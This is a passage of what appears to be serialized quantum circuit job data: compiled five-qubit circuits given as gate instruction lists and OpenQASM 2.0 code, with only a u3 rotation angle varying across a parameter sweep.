q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.1000000000000005, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.1', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1289', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.2, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.2', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1291', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.300000000000001, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.3', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1293', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.4, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.4', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 